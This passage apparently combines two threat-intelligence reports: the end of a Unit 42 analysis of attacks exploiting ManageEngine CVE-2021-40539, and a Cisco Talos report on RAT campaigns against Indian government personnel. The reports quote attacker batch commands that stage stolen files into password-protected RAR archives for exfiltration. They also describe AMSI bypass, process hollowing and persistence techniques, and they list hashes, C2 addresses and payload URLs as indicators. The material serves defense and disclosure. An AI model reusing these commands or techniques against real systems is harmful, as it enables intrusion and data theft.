to them with the intention to steal credentials. When a request to authenticate to the domain controller comes in, these functions in the Kerberos service (KDC service) are called, and the sample will capture the inbound credentials. The credentials are then written to disk at the following location: %ALLUSERPROFILE%\Microsoft\Windows\Caches\system.dat The stolen credentials are encrypted with a single-byte XOR algorithm using 0x55 as the key and written to the system.dat file one per line in the following structure: [] Attribution While attribution is still ongoing and we have been unable to validate the actor behind the campaign, we did observe some correlations between the tactics and tooling used in the cases we analyzed and Threat Group 3390 (TG-3390, Emissary Panda, APT27). Specifically, as documented by SecureWorks in an article on a previous TG-3390 operation, we can see that TG-3390 similarly used web exploitation and another popular Chinese webshell called ChinaChopper for their initial footholds before leveraging legitimate stolen credentials for lateral movement and attacks on a domain controller. While the webshells and exploits differ, once the actors achieved access into the environment, we noted an overlap in some of their exfiltration tooling. SecureWorks stated the actors were using WinRar masquerading as a different application to split data into RAR archives within the Recycler directory. They provided the following snippet from a Batch file deployed to do this work: @echo off c:\windows\temp\svchost.exe a -k -r -s -m5 -v1024000 -padmin-windows2014 e:\recycler\REDACTED.rar e:\ProgramData\REDACTED\ Exit From our analysis of recent attacks on ManageEngine ADSelfService Plus, we observed the same technique with the same order and placement of the parameters passed to a renamed WinRar application. @echo off dir %~dp0>>%~dp0\log.txt %~dp0\vmtools.exe a -k -r -s -m5 -v4096000 -pREDACTED "e:\$RECYCLE.BIN\REDACTED.rar" "E:\Programs\REDACTED\REDACTED" Once the files had been staged, in both cases they were then made accessible on externally facing web servers. The threat actors would then download them through direct HTTP GET requests. Conclusion In September 2021, Unit 42 observed an attack campaign in which the actors gained initial access to targeted organizations by exploiting a recently patched vulnerability in Zoho s ManageEngine product, ADSelfService Plus, tracked in CVE-2021-40539. At least nine entities across the technology, defense, healthcare, energy and education industries were compromised in this attack campaign. After exploitation, the threat actor quickly moved laterally through the network and deployed several tools to run commands in order to carry out their post-exploitation activities. The actor heavily relies on the Godzilla webshell, uploading several variations of the open-source webshell to the compromised server over the course of the operation. Several other tools have novel characteristics or have not been publicly discussed as being used in previous attacks, specifically the NGLite backdoor and the KdcSponge stealer. For instance, the NGLite backdoor uses a novel C2 channel involving the decentralized network known as the NKN, while the KdcSponge stealer hooks undocumented functions to harvest credentials from inbound Kerberos authentication attempts to the domain controller. Unit 42 believes that the actor s primary goal involved gaining persistent access to the network and the gathering and exfiltration of sensitive documents from the compromised organization. The threat actor gathered sensitive files to a staging directory and created password-protected multi-volume RAR archives in the Recycler folder. The actor exfiltrated the files by directly downloading the individual RAR archives from externally facing web servers. The following coverages across the Palo Alto Networks platform pertain to this incident: Threat Prevention signature ZOHO corp ManageEngine Improper Authentication Vulnerability was released on Sept. 20 as threat ID 91676. NGLite backdoor is blocked by Cortex XDR s local analysis. All known samples (Dropper, NGLite, KdcSponge) are classified as malware in WildFire. Cortex Xpanse can accurately identify Zoho ManageEngine ADSelfServicePlus, ManageEngine Desktop Central, or ManageEngine ServiceDeskPlus Servers across customer networks. 10/11 If you think you may have been impacted, please email unit42-investigations@paloaltonetworks.com or call (866) 486-4842 (866) 4UNIT42 for U.S. toll free, (31-20) 299-3130 in EMEA or (65) 6983-8730 in JAPAC. The Unit 42 Incident Response team is available 24/7/365. Special thanks to Unit 42 Consulting Services and the NSA Cybersecurity Collaboration Center for their partnership, collaboration and insights offered in support of this research. Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Indicators of Compromise Dropper SHA256 b2a29d99a1657140f4e254221d8666a736160ce960d06557778318e0d1b7423b 5fcc9f3b514b853e8e9077ed4940538aba7b3044edbba28ca92ed37199292058 NGLite SHA256 805b92787ca7833eef5e61e2df1310e4b6544955e812e60b5f834f904623fd9f 3da8d1bfb8192f43cf5d9247035aa4445381d2d26bed981662e3db34824c71fd 5b8c307c424e777972c0fa1322844d4d04e9eb200fe9532644888c4b6386d755 3f868ac52916ebb6f6186ac20b20903f63bc8e9c460e2418f2b032a207d8f21d Godzilla Webshell SHA256 a44a5e8e65266611d5845d88b43c9e4a9d84fe074fd18f48b50fb837fa6e429d ce310ab611895db1767877bd1f635ee3c4350d6e17ea28f8d100313f62b87382 75574959bbdad4b4ac7b16906cd8f1fd855d2a7df8e63905ab18540e2d6f1600 5475aec3b9837b514367c89d8362a9d524bfa02e75b85b401025588839a40bcb KdcSponge SHA256 3c90df0e02cc9b1cf1a86f9d7e6f777366c5748bd3cf4070b49460b48b4d4090 b4162f039172dcb85ca4b85c99dd77beb70743ffd2e6f9e0ba78531945577665 Threat Actor IP Addresses 149.248.11[.]205 199.188.59[.]192 Registry Keys Software\Microsoft\Windows\CurrentVersion\Run\ME_ADManager.exe Software\Microsoft\Windows\CurrentVersion\Run\ME_ADAudit.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\KDC Service Additional Resources Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. 11/11 Operation Armor Piercer: Targeted attacks in the Indian subcontinent using commercial RATs blog.talosintelligence.com/2021/09/operation-armor-piercer.html By Asheer Malhotra, Vanja Svajcer and Justin Thattil. Cisco Talos is tracking a campaign targeting government personnel in India using themes and tactics similar to APT36 (aka Mythic Leopard and Transparent Tribe). This campaign distributes malicious documents and archives to deliver the Netwire and Warzone (AveMaria) RATs. The lures used in this campaign are predominantly themed around operational documents and guides such as those pertaining to the "Kavach" (hindi for "armor") two-factor authentication (2FA) application operated by India's National Informatics Centre (NIC). This campaign utilizes compromised websites and fake domains to host malicious payloads, another tactic similar to Transparent Tribe. What's new? Cisco Talos recently discovered a malicious campaign targeting government employees and military personnel in the Indian sub-continent with two commercial and commodity RAT families known as NetwireRAT (aka NetwireRC) and WarzoneRAT (aka Ave Maria). The attackers delivered a variety of lures to their targets, predominantly posing as guides related to Indian governmental infrastructure and operations 1/32 such as Kavach and I.T.-related guides in the form of malicious Microsoft Office documents (maldocs) and archives (RARs, ZIPs) containing loaders for the RATs. Apart from artifacts involved in the infection chains, we've also discovered the use of server-side scripts to carry out operational tasks such as sending out malicious emails and maintaining presence on compromised sites via web shells. This provides additional insight into the attacker's operational TTPs. Some of these lures and tactics utilized by the attackers bear a strong resemblance to the Transparent Tribe and SideCopy APT groups, including the use of compromised websites and fake domains. How did it work? This campaign uses a few distinct, yet simple, infection chains. Most infections use a maldoc that downloads and instruments a loader. The loader is responsible for downloading or decrypting (if embedded) the final RAT payload and deploying it on the infected endpoint. In some cases, we've observed the use of malicious archives containing a combination of maldocs, loaders and decoy images. The RAT payloads are relatively unmodified, with the command and control (C2) IPs and domains being the most pivotal configuration information. So what? This campaign illustrates another instance of a highly motivated threat actor using a set of commercial and commodity RAT families to infect their victims. These RATs are packed with many features out-of-the-box to achieve comprehensive control over the infected systems. It is also highly likely that these malware families establish footholds into the victim's networks to deploy additional plugins and modules. Infection chains The earliest instance of this campaign was observed in December 2020 utilizing malicious Microsoft Office documents (maldocs). These maldocs contain malicious VBA macros that download and execute the next stage of the infection the malware loader. The maldocs' content ranges from security advisories, to meeting schedules, to software installation notes. These maldocs contain malicious macros that download and execute the next stage payload on the victim's endpoint. The final payload is usually a RAT that can perform a multitude of malicious operations on the infected endpoint. 2/32 The maldocs pose as documents related to either meeting schedules pertinent to the victims, or as technical guides related to the Government of India's IT infrastructure. It is likely that these files are either delivered as attachments or links in spear-phishing emails where the verbiage is meant to social engineer the victims into opening the maldoc attachments or downloading them from an attacker-controlled link. Some file names used are: KAVACH-INSTALLATION-VER-1.docm Security-Updates.docm Online meeting schedule for OPS.doc schedule2021.docm Interestingly, we've observed the use of Kavach-themed maldocs and binaries being used in recent SideCopy attacks. Malicious macro in maldoc downloading and executing the next stage payload. Stage 2 Loaders The payload is usually loader binaries aimed at instrumenting the final malware payload. These loaders will use either of the following techniques to instrument the final malware payloads on the endpoint: 3/32 Download payload from remote location and activate using process hollowing into itself or a target process. Decode embedded payload and activate using process hollowing. Depending on the variants, the loaders may also perform the following peripheral activities: Disable AMSI scanning by patching the first six bytes of the "AmsiScanBuffer" API. Set up persistence via registry for the next stage malware payload dropped to disk using the HKCU\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run keys. Downloaders Throughout March and April 2021, the attackers utilized downloaders to download and execute the RAT payloads from remote locations. The earliest versions of this loader used RunPE DLLs to inject the malware payloads into a specified target process via hollowing. .NET loader utilizing RunPE.dll to inject AveMaria RAT payload into InstallUtil.exe. In May 2021, the attackers used the next iteration of their C#-based downloader that reaches out to a decoy URL and only proceeds with execution if the communication process fails. 4/32 Downloader reaching out to a decoy URL and executing actual functionality in the catch code block. This downloader then proceeds to patch the "AmsiScanBuffer" API, establishes persistence for the next stage payload and invokes it at the end. The payload in the next stage consists of legitimate .NET-based applications trojanized with the ability to decrypt and deploy the NetwireRAT malware. 5/32 6/32 AMSI bypass, persistence and invocation by the loader. Toward the beginning of June 2021, the attackers started experimenting with the use of Pastebin as a payload-hosting platform. The downloader reached out to a Pastebin URL via cURL to download and inject the payload into its own running process. Evolution of the downloaders: Loaders with embedded payloads 7/32 The attackers modified open-source projects with code to load trojanized .NET-based binaries as loaders for the RATs dating as far back as December 2020. One of the droppers we analyzed is based on the Pangantucan Community High School library management system application. It is likely that the loader is based on a crypter available to the attackers since we've observed other crimeware families such as Formbook use similar loaders to infect their targets. The original application Initialization code for Form1. The same function in the trojanized version calls a constructor to the added ISectionEntry class. 8/32 The loader modified the Login form with a call to a function that loads a DLL loader with the assembly name "SimpleUI." The second-stage loader is extracted from the .NET resource with the name "Draw." The assembly extracted from the Draw resource is responsible for decoding and loading a Netwire injector module which is stored as the AuthorizationRule bitmap resource in the original trojanized loader. AutorizationRule blob parsed as a bitmap image (464,147 bytes long). The injector is responsible for deploying the netwireRAT binary present in its .NET resources into a target process, such as vbc.exe. Stage 3 Final payloads The Netwire and AveMaria RAT families are eventually downloaded and executed on the victim machine. In some cases, we've also discovered the deployment of custom .NET-based file enumerator modules that generate and exfiltrate file path listings of specific file extensions on the infected systems. Maldoc infection chain variation In one instance, the attackers used a different variation of the infection chain that starts with a malicious document delivered to the victim. The macro in the maldoc downloads and executes a VBScript (VBS) instead of directly downloading the malware payload. 9/32 The VBS contains many junk comments interlaced with the actual malicious code. The malicious code will execute an encoded PowerShell command to download the next payload. The PowerShell downloads a malicious archive and an unzip utility such as 7-Zip from a remote location. This utility unzips and runs the malware payload from the archive file. An example of the command used to unzip the archive is: 7za.exe x -y -aoa -bso0 -bse0 -bb0 -bd Decoded PowerShell commands to activate the next-stage payload. Infection chain diagram: 10/32 The final payload in this infection chain is a loader for AveMariaRAT. Archive-based infections In other infection attempts dating as far back as December 2020, the attackers hosted malicious ZIP archives containing malware payloads on compromised websites. It is likely that the URLs to these archive files were sent to victims to make them download and open the malware payload on their endpoints. 11/32 Three distinct archives containing the malicious payloads. The malicious binaries from the archives found thus far load and instrument NetwireRAT. Payload Analysis NetwireRAT Netwire is a highly versatile RAT consisting of multiple capabilities including: Stealing credentials from browsers. Execute arbitrary commands. Gather system information. File management operations such as write, read, copy, delete files, etc. Enumerate, terminate processes. Keylogging. 12/32 NetwireRAT keylogger. Ave Maria/WarzoneRAT Ave MariaRAT, also known as WarzoneRAT, is a commercial RAT available for purchase to malicious operators although there are cracked versions of Warzone available online. 13/32 14/32 WarzoneRAT capabilities (snip) as advertised by its authors. Like Netwire, WarzoneRAT is also packed with a variety of functionalities including: Remote desktop. Webcam capture. Credential stealing from browsers and email clients. File management operations such as write, read, copy, delete files etc. Execute arbitrary commands. Keylogging. Reverse shells. Enumerate, terminate processes. 15/32 16/32 Reverse shell functionality in WarzoneRAT. File enumerators Apart from the two RATs, we've also observed specialized reconnaissance malware being deployed on the victim's endpoints instead of a RAT family. The attackers deployed a preliminary recon tool to enumerate specific folders looking for certain file extensions. The file listings/paths found are uploaded to an attackercontrolled C2 server. The locations targeted were: C:\Users\\Downloads\ C:\Users\\Desktop\ C:\Users\\Documents\ C:\Users\\OneDrive\Downloads\ C:\Users\\OneDrive\Desktop\ C:\Users\\OneDrive\Documents\ The file extensions searched for were: .txt, .doc, .dot, .wbk, .docx, .docm, .dotx, .dotm, .docb, .xls, .xlt, .xlm, .xlsx, .xlsm, .xltx, .xltm, .xlsb, .xla, .xlam, .xll, .xlw, .ppt, .pot, .pps, .pptx, .pptm, .potx, .potm, .ppam, .ppsx, .ppsm, .sldx, .sldm, .pdf 17/32 File enumerator malware module looking for specific file extensions. Analyses and observations Targeting An extremely common theme of maldocs and archives discovered in this campaign refers to the Government of India's Kavach application. This is a two-factor authentication (2FA) application used by government employees to access their emails. This theme has been used recently by the SideCopy APT's campaigns targeting Indian government personnel, as well. Some of the malicious artifacts using the Kavach theme in the current campaign are named: KAVACH-INSTALLATION-VER-1.docm KAVACH-INSTALLATION-VER1.5.docm KAVACH-INSTALLATION-VER-3.docm kavach-2-instructions.zip kavach-2-instructions.exe KAVACH-INSTALLATION-V3.zip KAVACH-INSTALLATION-V3.exe Other file names indicating targeting of military and government personnel consist of: CONFD-PERS-Letter.docm PERS-CONFD-LETTER.exe 18/32 Admiral_Visit_Details_CONFD.exe Pay and Allowance Details.xls Compromised websites The attackers have relied on a combination of compromised websites and fake domains to carry out their operations a tactic similar to that of the Transparent Tribe APT group. However, what stands out in this campaign is the focus on compromising quasi-military or government-related websites to host malicious payloads. This might have been done to appear legitimate to victims and analysts. For example, the attackers compromised and maintained access to a quasi-defense-related website dsoipalamvihar[.]co[.]in belonging to the Defence Services Officers' Institute (DSOI) using it to host netwireRAT-related payloads since January 2021. In another instance, the attackers compromised the website for the Army Public Schools of India (apsdigicamp[.]com) to host a variety of malicious archives serving NetwireRAT again. On the other hand, the attackers used a fake domain govrn[.]xyz in July 2021 to host maldocs for their infection chains. 19/32 Malicious scripts and payloads hosted on a compromised website. 20/32 Infrastructure The compromised websites were used heavily to host artifacts from maldocs to RATs. However, these websites hosted a few other malicious artifacts as well. The artifacts scripts were used as: Emailers. Web shells. CSRF PoC generator. File uploaders. None of these scripts have been written from scratch or customized heavily by the attackers. This practise is in sync with their RAT deployments neither the RAT payloads nor the infrastructure scripts have been modified except their configurations. The actual effort instead is put into social engineering and infecting victims. Proliferation through emails A variety of mailers have been used by the attackers to proliferate the maldocs, archives and download links: TeamCC ninjaMailer v1.3.3.7 Leaf PHPMailer 2.7 Leaf PHPMailer 2.8 These PHP-based scripts are capable of configuring SMTP options and generating spear-phishing emails that can be distributed to victims with malicious payloads or links. 21/32 TeamCC NinjaMailer hosted by the attackers on one of the compromised sites. Administration The attackers utilized two types of management scripts to administer the compromised websites. PHP and Perl-based web shells maintain browser-based access to the sites and perform administrative actions such as file management, process management and viewing file contents. The web shells used are: PhpSpy b374k 2.7 Older b374k web shell b374k web shell's login page on the compromised site. 22/32 Older Perl-based b374k web shell hosted on a compromised site. The attackers also deployed a file uploader utility (created by "Pakistan Haxors Crew") to upload files to the sites without having to go through the web shells. File uploader. 23/32 Conclusion This campaign has been ongoing since the end of 2020 and continues to operate today. The attackers initially deployed Netwire and Warzone RATs on the infected endpoints. The use of these RATs benefits an adversary twofold it makes attribution difficult and saves the effort to create bespoke implants. Beginning in July 2021, however, we observed the deployment of the file enumerators alongside the RATs. This indicates that the attackers are expanding their malware arsenal to target their victims: military and government personnel in India. Infection tactics including government-themed lures, deployment of commodity/commercial RATs and file enumerators and the use of compromised and attacker-owned domains indicates a strong resemblance to SideCopy and Transparent Tribe. Unlike many crimeware and APT attacks, this campaign uses relatively simple, straightforward infection chains. The attackers have not developed bespoke malware or infrastructure management scripts to carry out their attacks, but the use of prebaked artifacts doesn't diminish the lethality of these attacks. In fact, ready-made artifacts such as commodity or cracked RATs and mailers allow the attackers to rapidly operationalize new campaigns while focusing on their key tactic: tricking victims into infecting themselves. Coverage Ways our customers can detect and block this threat are listed below. 24/32 Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here. Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks. Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here. Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat. 25/32 Cisco Secure Network/Cloud Analytics (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device. Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here. Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. Additional protections with context to your specific environment and threat data are available from the Firewall Management Center. Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. Orbital Queries Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat. For specific OSqueries on this threat, click below: Warzone/AVEMARIA Netwire registry Netwire downloader File enumerator IOCs Hashes Maldocs 9b7c0465236b7e1ba7358bdca315400f8ffc6079804f33e2ca4b5c467f499d1f eb40d1aab9a5e59e2d6be76a1c0772f0d22726dd238110168280c34695a8c48f 6b0fde73e638cb7cdb741cff0cc4ec872338c106ffe0c3a6712f08cdb600b83d 26/32 2b23c976b4aca2b9b61c474e0d6202644d97b48fa553cd6c9266c11b79d3cd13 41b1c3fa6b8a11fde6769650977d7bc34e0da91a23dd2b70220beec820e17d7a e6a73ef757c834e155a039619a1fdb1388f2a7ebe80accae8d13deeb3fd66471 89280f7e1785b1c85432b4cf3a284e44d333b2a1a43a2e52d7ce8680a807be03 302a973dc432975395c5f69a4c8c75bfffc31350176f52bddb8e4717bdbad952 5d3220db34868fc98137b7dfb3a6ee47db386f145b534fb4a13ef5e0b5df9268 62a890cce10f128f180d6e2b848ffff42e32859fe58a023b2bdb35dbe0a1713b 0d64fd162d94601ddd806df804103f3713c4aa43c201fffb9c92783c29d6094c 824bb11ef1520aecca35ad9abd8e043e4e00193668590d4aee2a41f205db7388 bdb40d5e73e848ada64f334eddd184fb67e2fcdc149248db641bb8d804468f1d eef5e86ebff5c59204009f4d421b80518ce3edf9c9b1bb45fb2197d9f652a927 c1eba59ce0ff5d8f57fe0ae0a9af20cb0fa725fc05a58869bb0b85c2d3b815fb Downloaders 49485a737673365489cb89ef1f5c29545051b33aa1642a8940e15ad281b76dfc a8c67a11ed522bf597feb8b50a5b63f12a5ac724ae6adcc945475654128f6d64 f8748c726bda6d67c7130aae8777d7dcb5b0cca8695041b290e9d9cb95a0a633 3cdedd433c9dde56bfa0a6559a97287c7aec3346178ce2d412a255d8ed347307 626f00a260880c6bfa0a955fd0c89336a691e438c4bc9206182a05db3774b75a 89db68dcdbae6fca380029c1e5c5158fb5d95db8034f1ee7dbac36cf07057828 68ddb86dd74285a0b6f12ec8adca9a8ea4569ef1143bec9e8ebe411b2a71720f c8ffb9d14a28fbc7e7f6d517b22a8bb83097f5bc464c52e027610ab93caec0d6 RunPE loader DLL d09cac8cd7c49b908e623220a9b2893822263ae993c867b5bd4fce562d02dcd5 C# based netwire loaders 5965bba31eb30dedf795012e744fe53495d5b0c1bea52eea32e9924819e843d1 455ac9cc21fcb20a14caa76abd1280131fecae9d216b1f6961af2f13081c2932 304c2f88ccd6b0b00cfcb779b8958d9467c78f32b7177949899d3e818b3b9bed cf2261c7911f8481f7267b73b64546ca851b5471dab3290ce0140f956823348a 6f8267a673ca5bc9fa67198c9c74d34109baf862f9194bbb0ebcc7ddd7b66b91 ea201379e3d7343fc7a8fbe0451766f1cea36b66c13cfbf78c4ac7ffb1eb3d93 1455a003412e344d60c8bad71977aa42bb9825cffa5417e45b08070b14e5df3f netwireRC 27/32 91acdc04a03134c17ccff873f10e90c538ed74c7ab970b9899ac5c295e165a75 b76be2491b127a75c297b72e1cf79f46f99622ddf4ba3516a88b47d9b6df9131 d5b7edfc886c8228197b0cf20ab35f1bc0b5c652b1d766456d4e055ba6c9ea6e fd413ec8d9d798c28fc99c0633e6477f6eabc218788ad37c93be4de758a02962 cf2aec2969353dc99a7f715ac818212b42b8cff7a58c9109442f2c65ff62de42 8284550711419f4c65083dc5de3c6b92164d8d0835ec864e9a2db9c4c0d067e4 5f6571251fd36a4ec0b101c3b0be4099bc1c812d57bef57f310291d314e638ba 39ff95ecb1036aab88a146714bb5b189f6afc594ecf8ffbe8b123d1579a3a259 3e59b3504954efd9b4231cb208296ed9f19f4430e19db81e942b304ee0255324 cd43bac8f7a0a3df4f654ed698f5828db7a05c771956b924bfd6bd5ba09e2360 051f67ba58bd2b7751541bf2eb3a09642a00a43052c0d3487a182345828ee076 aa3d57993bbc7aefdc05e0e99ccdb5e884aa530ae90437157c7ba2308d9c4d3c 8ce30043aba8c9ad33c11c3de152fe142ba7b710384f77d332076957d96e19b2 5226a12dc7f7b5e28732ad8b5ad6fa9a35eadfbeec122d798cd53c5ef73fe86a 2a7f0af4650edb95eb7a380de6d42db59d8dd220bb4831e30e06450e149eea49 7c12a820fd7e576f3a179cdccaefbfcd090e0f890fccfab7615bc294795dc244 977d5b4b945cfce92e40e4d5447626f3ffb7697d98f651b9598edfd58074b9c0 98337b43e214906b10222722607f76d07a5c0419a9dc3b3af415680c60944809 2443e8ccdf51e82d310466955a70013155c139564672b2f79db7209207776bd2 de10443785cf7d22db92fada898a77bc32c7505931b692110d2d5cd63c5b4853 Warzone/AVEMARIA b891fad315c540439dba057a0f4895ae8bae6eed982b0bf3fb46801a237c8678 aa2b8412cf562c334052d5c34a2e5567090e064b570884d6f4d3e28806822487 999f4892d10eb6cfabe172338c1e7dd3126a2cd435bdb59748178f1d4d2d3b33 140e0524f4770fc2543b86f1d62aaa6b3018c54e40250040feaa2f24bdbe974d 0df12b0f704dbd5709f86804db5863bd0e6d6668d45a8ff568eefbaa2ebfb9fd 369e794e05e0d7c9bba6dde5009848087a2cd5e8bf77583d391e0e51d21a52cd 480e57131bd186e31ab5ea534381d7b93c8030f8b5757bde9d0b6039efa3e64d File Enumerators df780cccc044ee861af1089eb7498a612e6d740a609e500fd3c2a35d2c9c31e0 a20970aa236aa60d74841e7af53990c5da526f406c83fd1bedb011290517d9b0 54a65835dc5370b089c38414972c8da589512cf73b159e8187cdda62092dc463 3634b81f8b91d723733cc44429d221e53b2a7bf121e42bd26078602f4ff48f86 28/32 e9edb427d080c0a82e7b1c405171746cb632601b3d66f9d7ad5fa36fd747e4e4 Malicious archives 2f98235351c6d6bafbb237195f2556abde546578aefd7d94f8087752551afc15 87fc9901eb7c3b335b82c5050e35458a2154747cd3e61110eed4c107f4ffada9 b4c0f24a860f14b7a7360708a4aee135bf1a24d730d7794bc55e53a31a0e57a5 ba710351cfdf6b198d7479a91e786562ddb5e80db5dc9ad42278093a3395fca9 8e7d5805a104dc79355387dbd130e32d183b645f42f7b35c195041d1cf69f67e 2b7ac9063a530e808ffac5cf9812d850dd5fa4d1f014ba5134ad023fde503d21 de245cd946e48a4b1c471b17beff056b1a2566770a96785208c698f85fb73db2 689f3ff0a3331e198ea986864b2b23a62631c930d83b971382b4732474884953 3794cfe8f3da39924cabd03d74aa95fb5d0c25c73d09cc99ad95c3f4e17252b8 5a351acfe61a0ad9444b8d23c9915d7beb084abd7b346b9d064e89914552596d Malicious server side scripts a8af6228296bc9ac2cd7b7bf503c9755947c844fec038255189a351bcb92bb6d b54f21a5d20457424440fdf5a57c67924854b47cf85d6a5f26daeaf183e82b69 8ea420deaa86c778fc6a3b1b22bd0c2ea822089e948ad8f113c9e5b0539e92a7 c86f6fdb6b360c12de1f75c026dc287aa9de1b8e9b5e5439eeab9e33de3e475e 8cca06ea80a92f31418f2ed0db5e1780cc982ab185f9bf15fa6f396b561aad1f b9b04fcae747407b9e5ddec26438d9edf046de0745ea4175e4d534a7b575d152 4ded1042a6cd3113bb42c675257d7d0153a22345da62533bd059d9bdd07c000f 65ed397a4a66f45f332269bec7520b2644442e8581f622d589a16ad7f5efbf82 c6ea094954a62cf50d3369f6ea1d9e7d539bb7eb6924005c3c1e36832ed3d06e c9a88d569164db35c8b32c41fda5c3bd4be0758fa0ea300f67fbb37ddc1f3f8d c75cc5af141dc8ea90d7d44d24ff58a6b3b0c205c8d4395b07de42d285940db1 8b4a7d6b3de3083a8b71ec64ff647218343f4431bbb93a6ce18cb5f33571a38e 37d0d9997776740ae3134ec6a15141930a9521cd11e2fbb8d0df6d308398f32e Network IOCs Maldoc download locations hxxp://service[.]clickaway[.]com//ccrs_tool/uploads/722CDfdBpfUbRyg.bbc hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/feedback.docm hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/Security-Updates.docm 29/32 hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/r.docm hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/abc/r.docm hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/abc/CONFD-PERS-Letter.docm hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/KAVACH-INSTALLATION-VER1.5.docm hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/ma/KAVACH-INSTALLATION-VER-1.docm hxxps://aps[.]govrn[.]xyz/schedule2021.docm Loader/RAT download locations hxxp://www[.]bookiq.bsnl.co.in/data_entry/circulars/QA2E.exe hxxp://www[.]bookiq.bsnl.co.in/data_entry/circulars/Host1.exe hxxp://www[.]bookiq[.]bsnl[.]co[.]in/data_entry/circulars/mac.exe hxxp://www[.]bookiq[.]bsnl[.]co[.]in/data_entry/circulars/mmaaccc.exe hxxp://www[.]bookiq[.]bsnl[.]co[.]in/data_entry/circulars/mac.exe hxxp://www[.]bookiq[.]bsnl[.]co[.]in/data_entry/circulars/mmaaccc.exe hxxp://www[.]bookiq[.]bsnl[.]co[.]in/data_entry/circulars/mmaaccc.exe hxxp://www[.]bookiq[.]bsnl[.]co[.]in/data_entry/circulars/Host1.exe hxxp://bookiq[.]bsnl[.]co[.]in/data_entry/circulars/Host.exe hxxps://kavach[.]govrn[.]xyz/shedule.exe hxxp://unicauca[.]edu[.]co/regionalizacion/sites/default/files/kavach-1-5/Acrobat.exe hxxp://45[.]79.81.88/ccrs_tool/uploads/mac.exe hxxp://45[.]79.81.88/ccrs_tool/uploads/maaccc.exe hxxp://45[.]79.81.88/ccrs_tool/uploads/maacc.exe hxxp://45[.]79.81.88/ccrs_tool/uploads/VPN.exe hxxp://45[.]79.81.88/ccrs_tool/uploads/conhost213.exe hxxp://45[.]79.81[.]88/ccrs_tool/uploads/new_war.exe hxxp://45[.]79.81.88/ccrs_tool/uploads/private.exe hxxp://45[.]79[.]81[.]88/ccrs_tool/uploads/notice.exe hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/conhost123.exe hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/Host1.exe hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/mac.exe hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/maaacccc.exe hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/maaccc.exe hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/maacc.exe hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/VPN.exe hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/new_war.exe hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/ma/mmmaaaacccccc.exe hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/client.exe hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/private.exe hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/notice.exe hxxp://service[.]clickaway[.]com/swings/haryanatourism/gita-jayanti/invited.exe 30/32 hxxp://service[.]clickaway[.]com/swings/haryanatourism/gita-jayanti/details.exe hxxps://www[.]ramanujan[.]edu[.]in/cctv-footage/footage-346.exe hxxp://thedigitalpoint[.]co[.]in/zomato/vouchers/zomato-voucher.zip hxxp://66[.]154[.]112.212/GOM.exe hxxps://dsoipalamvihar[.]co[.]in/manage/OperatorImages/exe/GOM_Player.exe File Enumerator C2s hxxp://64[.]188[.]13[.]46/oiasjdoaijsdoiasjd/ warzone/AveMaria C2s 5[.]252[.]179[.]221:6200 64[.]188[.]13[.]46 netwireRC C2s 66[.]154[.]103[.]106:13374 66[.]154[.]103[.]106:13371 66[.]154[.]103[.]106:13377 Malicious archive download locations hxxps://www.unicauca[.]edu[.]co/regionalizacion/sites/default/files/Meeting-details.zip hxxps://www.unicauca[.]edu[.]co/regionalizacion/sites/default/files/kavach-1-5/kavach-2-instructions.zip hxxp://www.unicauca[.]edu[.]co/regionalizacion/sites/default/files/kavach-1-5/KAVACH-INSTALLATIONV3.zip hxxps://dsoipalamvihar[.]co[.]in/pdf/important_notice.zip hxxp://lms[.]apsdigicamp[.]com/webapps/uploads/acc/cctv-footages/student-termination-and-proof.zip hxxp://beechtree[.]co[.]in/Admin/IconImages/progress-reports/Progress-report-43564.zip RunPe download URLs hxxp://service[.]clickaway[.]com/ccrs_tool/uploads/RunPe.dll Misc URLs hxxps://www[.]dropbox[.]com/s/w8tc18w2lv1kv6d/msovb.vbs?dl=1 hxxps://www[.]dropbox[.]com/s/lt7a981theoyajy/adobecloud.7z hxxps://pastebin[.]com/raw/mrwtZi34 31/32 Malicious server-side script URLs 